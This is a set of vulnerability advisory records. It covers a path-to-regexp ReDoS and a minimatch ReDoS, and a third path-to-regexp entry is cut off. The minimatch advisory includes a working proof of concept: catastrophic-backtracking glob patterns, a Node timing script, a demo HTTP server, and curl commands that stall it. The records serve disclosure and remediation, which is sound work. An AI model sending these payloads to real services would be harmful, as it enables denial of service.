"defaultStatus": "unaffected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-26T18:59:38.000Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in path-to-regexp. A remote attacker could exploit this vulnerability by providing specially crafted input that generates a regular expression with multiple sequential optional groups. This leads to an exponential growth in the generated regular expression, causing a Denial of Service (DoS) due to excessive resource consumption."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-30T12:10:34.415Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-4926"
},
{
"name": "RHBZ#2451867",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451867"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4926.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24762"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17789"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19409"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19410"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24866"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13545"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9385"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10172"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10153"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:24762: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:17789: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:19409: Migration Toolkit for Virtualization 2.1"
},
{
"lang": "en",
"value": "RHSA-2026:19410: Migration Toolkit for Virtualization 2.9"
},
{
"lang": "en",
"value": "RHSA-2026:24866: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:13545: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:9385: Red Hat OpenShift distributed tracing 3.9.3"
},
{
"lang": "en",
"value": "RHSA-2026:10172: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:10153: Red Hat Trusted Artifact Signer 1.3"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-26T20:03:28.427Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-26T18:59:38.000Z",
"value": "Made public."
}
],
"title": "path-to-regexp: path-to-regexp: Denial of Service via crafted regular expressions",
"workarounds": [
{
"lang": "en",
"value": "To mitigate this vulnerability, limit the use of multiple sequential optional groups in route patterns within applications that use `path-to-regexp`. Additionally, avoid directly passing user-controlled input as route patterns to prevent the generation of maliciously crafted regular expressions."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "8.4.0",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "8.4.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "uug4na"
},
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\nPatches:\n\nFixed in version 8.4.0.\n\nWorkarounds:\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns."
}
],
"value": "Impact:\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\nPatches:\n\nFixed in version 8.4.0.\n\nWorkarounds:\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T18:59:38.000Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Denial of Service via sequential optional groups",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4926",
"datePublished": "2026-03-26T18:59:38.000Z",
"dateReserved": "2026-03-26T18:36:49.229Z",
"dateUpdated": "2026-06-30T12:10:34.415Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27904"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-27V5-C462-WPQ7
Vulnerability from github – Published: 2026-03-27 22:23 – Updated: 2026-03-27 22:23Impact
When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.
Unsafe examples:
/*foo-*bar-:baz
/*a-:b-*c-:d
/x/*a-:b/*c/y
Safe examples:
/*foo-:bar
/*foo-:bar-*baz
Patches
Upgrade to version 8.4.0.
Workarounds
